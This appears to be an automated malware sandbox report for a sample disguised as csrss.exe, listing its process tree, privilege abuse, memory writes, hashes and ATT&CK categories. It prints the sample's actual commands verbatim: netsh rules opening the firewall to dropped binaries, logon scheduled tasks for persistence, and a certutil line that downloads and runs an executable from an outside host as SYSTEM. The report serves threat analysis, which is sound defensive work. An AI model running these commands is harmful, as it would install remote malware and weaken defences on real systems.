    Reported IOCs

    pidprocess
    9320c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    9320c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    45240c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    45240c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    4308csrss.exe
    4308csrss.exe
    4308csrss.exe
    4308csrss.exe
  • Suspicious use of AdjustPrivilegeToken
    0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exesvchost.execsrss.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege9320c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    Token: SeImpersonatePrivilege9320c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    Token: SeTcbPrivilege5064svchost.exe
    Token: SeTcbPrivilege5064svchost.exe
    Token: SeBackupPrivilege5064svchost.exe
    Token: SeRestorePrivilege5064svchost.exe
    Token: SeBackupPrivilege5064svchost.exe
    Token: SeRestorePrivilege5064svchost.exe
    Token: SeBackupPrivilege5064svchost.exe
    Token: SeRestorePrivilege5064svchost.exe
    Token: SeSystemEnvironmentPrivilege4308csrss.exe
    Token: SeBackupPrivilege5064svchost.exe
    Token: SeRestorePrivilege5064svchost.exe
    Token: SeBackupPrivilege5064svchost.exe
    Token: SeRestorePrivilege5064svchost.exe
    Token: SeBackupPrivilege5064svchost.exe
    Token: SeRestorePrivilege5064svchost.exe
    Token: SeBackupPrivilege5064svchost.exe
    Token: SeRestorePrivilege5064svchost.exe
    Token: SeBackupPrivilege5064svchost.exe
    Token: SeRestorePrivilege5064svchost.exe
  • Suspicious use of WriteProcessMemory
    svchost.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.execmd.execmd.execsrss.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 5064 wrote to memory of 45245064svchost.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    PID 5064 wrote to memory of 45245064svchost.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    PID 5064 wrote to memory of 45245064svchost.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    PID 4524 wrote to memory of 168845240c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.execmd.exe
    PID 4524 wrote to memory of 168845240c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.execmd.exe
    PID 1688 wrote to memory of 14521688cmd.exenetsh.exe
    PID 1688 wrote to memory of 14521688cmd.exenetsh.exe
    PID 4524 wrote to memory of 172045240c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.execmd.exe
    PID 4524 wrote to memory of 172045240c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.execmd.exe
    PID 1720 wrote to memory of 36721720cmd.exenetsh.exe
    PID 1720 wrote to memory of 36721720cmd.exenetsh.exe
    PID 4524 wrote to memory of 430845240c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.execsrss.exe
    PID 4524 wrote to memory of 430845240c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.execsrss.exe
    PID 4524 wrote to memory of 430845240c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.execsrss.exe
    PID 5064 wrote to memory of 20965064svchost.exeschtasks.exe
    PID 5064 wrote to memory of 20965064svchost.exeschtasks.exe
    PID 5064 wrote to memory of 42925064svchost.exeschtasks.exe
    PID 5064 wrote to memory of 42925064svchost.exeschtasks.exe
    PID 5064 wrote to memory of 45845064svchost.exepatch.exe
    PID 5064 wrote to memory of 45845064svchost.exepatch.exe
    PID 4308 wrote to memory of 46844308csrss.exebcdedit.exe
    PID 4308 wrote to memory of 46844308csrss.exebcdedit.exe
Processes 128
  • C:\Users\Admin\AppData\Local\Temp\0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    "C:\Users\Admin\AppData\Local\Temp\0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe"
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of AdjustPrivilegeToken
    PID:932
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 368
      Program crash
      PID:3616
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 372
      Program crash
      PID:2652
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 392
      Program crash
      PID:4904
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 608
      Program crash
      PID:2956
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 700
      Program crash
      PID:2156
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 724
      Program crash
      PID:4956
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 736
      Program crash
      PID:3572
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 756
      Program crash
      PID:4220
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 776
      Program crash
      PID:4744
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 772
      Program crash
      PID:4696
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 756
      Program crash
      PID:4616
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 888
      Program crash
      PID:4580
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 796
      Program crash
      PID:2448
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 820
      Program crash
      PID:2144
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 756
      Program crash
      PID:4424
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 700
      Program crash
      PID:4232
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 800
      Program crash
      PID:1292
    • C:\Users\Admin\AppData\Local\Temp\0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
      "C:\Users\Admin\AppData\Local\Temp\0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe"
      Adds Run key to start application
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4524
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 332
        Program crash
        PID:3100
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 336
        Program crash
        PID:4332
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 360
        Program crash
        PID:112
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 636
        Program crash
        PID:4756
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 688
        Program crash
        PID:936
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 684
        Program crash
        PID:3724
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 708
        Program crash
        PID:3700
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 716
        Program crash
        PID:3768
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 732
        Program crash
        PID:1388
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        Suspicious use of WriteProcessMemory
        PID:1688
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          PID:1452
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b.exe" enable=yes"
        Suspicious use of WriteProcessMemory
        PID:1720
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b.exe" enable=yes
          PID:3672
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        Executes dropped EXE
        Drops file in System32 directory
        Drops file in Windows directory
        Modifies data under HKEY_USERS
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        PID:4308
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 368
          Program crash
          PID:2784
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 372
          Program crash
          PID:4040
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 372
          Program crash
          PID:4208
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 564
          Program crash
          PID:3024
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 564
          Program crash
          PID:5016
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          Creates scheduled task(s)
          PID:2096
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 608
          Program crash
          PID:3668
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          Creates scheduled task(s)
          PID:4292
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 660
          Program crash
          PID:2464
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 864
          Program crash
          PID:840
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 864
          Program crash
          PID:3476
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 864
          Program crash
          PID:1532
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 864
          Program crash
          PID:4452
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 948
          Program crash
          PID:3096
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 964
          Program crash
          PID:5052
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1068
          Program crash
          PID:904
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1080
          Program crash
          PID:1424
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 992
          Program crash
          PID:2156
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 944
          Program crash
          PID:4956
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1196
          Program crash
          PID:2600
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1212
          Program crash
          PID:2588
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1184
          Program crash
          PID:4712
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1120
          Program crash
          PID:3836
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          Executes dropped EXE
          PID:4584
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          Modifies boot configuration data using bcdedit
          PID:4684
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1180
          Program crash
          PID:2520
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1632
          Program crash
          PID:4408
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1840
          Program crash
          PID:1432
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1840
          Program crash
          PID:1936
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1084
          Program crash
          PID:2300
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1084
          Program crash
          PID:3852
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1900
          Program crash
          PID:1612
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1876
          Program crash
          PID:1860
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1932
          Program crash
          PID:756
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1764
          Program crash
          PID:3672
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 1712
          Program crash
          PID:1460
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 932 -ip 932
    PID:3192
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 932 -ip 932
    PID:4044
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 932 -ip 932
    PID:2256
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 932 -ip 932
    PID:2928
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 932 -ip 932
    PID:4120
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 932 -ip 932
    PID:2584
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 932 -ip 932
    PID:3624
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 932 -ip 932
    PID:3124
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 932 -ip 932
    PID:4860
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 932 -ip 932
    PID:2548
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 932 -ip 932
    PID:4656
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 932 -ip 932
    PID:4676
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 932 -ip 932
    PID:2496
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 932 -ip 932
    PID:2948
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 932 -ip 932
    PID:2160
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 932 -ip 932
    PID:4416
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 932 -ip 932
    PID:1428
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
    Suspicious use of NtCreateUserProcessOtherParentProcess
    Suspicious use of AdjustPrivilegeToken
    Suspicious use of WriteProcessMemory
    PID:5064
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4524 -ip 4524
    PID:3492
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4524 -ip 4524
    PID:3648
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4524 -ip 4524
    PID:4780
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4524 -ip 4524
    PID:1240
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4524 -ip 4524
    PID:1948
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4524 -ip 4524
    PID:4004
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4524 -ip 4524
    PID:3900
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4524 -ip 4524
    PID:3656
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4524 -ip 4524
    PID:2060
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4308 -ip 4308
    PID:4908
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4308 -ip 4308
    PID:3708
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4308 -ip 4308
    PID:4488
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4308 -ip 4308
    PID:1204
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4308 -ip 4308
    PID:5000
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4308 -ip 4308
    PID:1436
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4308 -ip 4308
    PID:1544
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4308 -ip 4308
    PID:2360
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4308 -ip 4308
    PID:1044
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4308 -ip 4308
    PID:3044
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4308 -ip 4308
    PID:4136
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4308 -ip 4308
    PID:4116
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4308 -ip 4308
    PID:4884
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4308 -ip 4308
    PID:2644
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4308 -ip 4308
    PID:4904
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4308 -ip 4308
    PID:2552
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4308 -ip 4308
    PID:2584
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4308 -ip 4308
    PID:2292
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4308 -ip 4308
    PID:4200
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4308 -ip 4308
    PID:4236
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4308 -ip 4308
    PID:4732
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4308 -ip 4308
    PID:4368
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4308 -ip 4308
    PID:4940
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4308 -ip 4308
    PID:720
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4308 -ip 4308
    PID:1428
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4308 -ip 4308
    PID:4300
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4308 -ip 4308
    PID:3768
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4308 -ip 4308
    PID:1520
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4308 -ip 4308
    PID:1996
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4308 -ip 4308
    PID:524
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4308 -ip 4308
    PID:3216
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4308 -ip 4308
    PID:2608
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
        Discovery
        Execution
          Exfiltration
            Impact
              Initial Access
                Lateral Movement
                  Persistence
                  Privilege Escalation
                    Replay Monitor
                    00:00 00:00
                    Downloads

                    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

                      MD5

                      13aaafe14eb60d6a718230e82c671d57

                      SHA1

                      e039dd924d12f264521b8e689426fb7ca95a0a7b

                      SHA256

                      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

                      SHA512

                      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

                      Download Submit

                    • C:\Windows\rss\csrss.exe

                      MD5

                      c95cacf637b843678cd05cbd450fa9d7

                      SHA1

                      1e0f3dbd768e395e6781b84f5f2807515e15a265

                      SHA256

                      0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe

                      SHA512

                      df18882876136fa5a02f0ab81ec46d4d46c75c95b840d03a8d2f6ce6c9613f0d14f1732c845b498833e29907e489fb46c73781305c15884da48aa69f550aaa53

                      Download Submit

                    • C:\Windows\rss\csrss.exe

                      MD5

                      c95cacf637b843678cd05cbd450fa9d7

                      SHA1

                      1e0f3dbd768e395e6781b84f5f2807515e15a265

                      SHA256

                      0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe

                      SHA512

                      df18882876136fa5a02f0ab81ec46d4d46c75c95b840d03a8d2f6ce6c9613f0d14f1732c845b498833e29907e489fb46c73781305c15884da48aa69f550aaa53

                      Download Submit

                    • memory/932-131-0x0000000002F30000-0x0000000003626000-memory.dmp

                      Download

                    • memory/932-132-0x0000000000400000-0x0000000000D2F000-memory.dmp

                      Download

                    • memory/932-130-0x0000000002B82000-0x0000000002F29000-memory.dmp

                      Download

                    • memory/1452-137-0x0000000000000000-mapping.dmp

                      Download

                    • memory/1688-136-0x0000000000000000-mapping.dmp

                      Download

                    • memory/1720-138-0x0000000000000000-mapping.dmp

                      Download

                    • memory/2096-146-0x0000000000000000-mapping.dmp

                      Download

                    • memory/3672-139-0x0000000000000000-mapping.dmp

                      Download

                    • memory/4292-147-0x0000000000000000-mapping.dmp

                      Download

                    • memory/4308-145-0x0000000000400000-0x0000000000D2F000-memory.dmp

                      Download

                    • memory/4308-143-0x0000000002F00000-0x00000000032A7000-memory.dmp

                      Download

                    • memory/4308-144-0x0000000003300000-0x00000000039F6000-memory.dmp

                      Download

                    • memory/4308-140-0x0000000000000000-mapping.dmp

                      Download

                    • memory/4524-135-0x0000000000400000-0x0000000000D2F000-memory.dmp

                      Download

                    • memory/4524-134-0x0000000002A1A000-0x0000000002DC1000-memory.dmp

                      Download

                    • memory/4524-133-0x0000000000000000-mapping.dmp

                      Download

                    • memory/4584-148-0x0000000000000000-mapping.dmp

                      Download

                    • memory/4684-150-0x0000000000000000-mapping.dmp

                      Download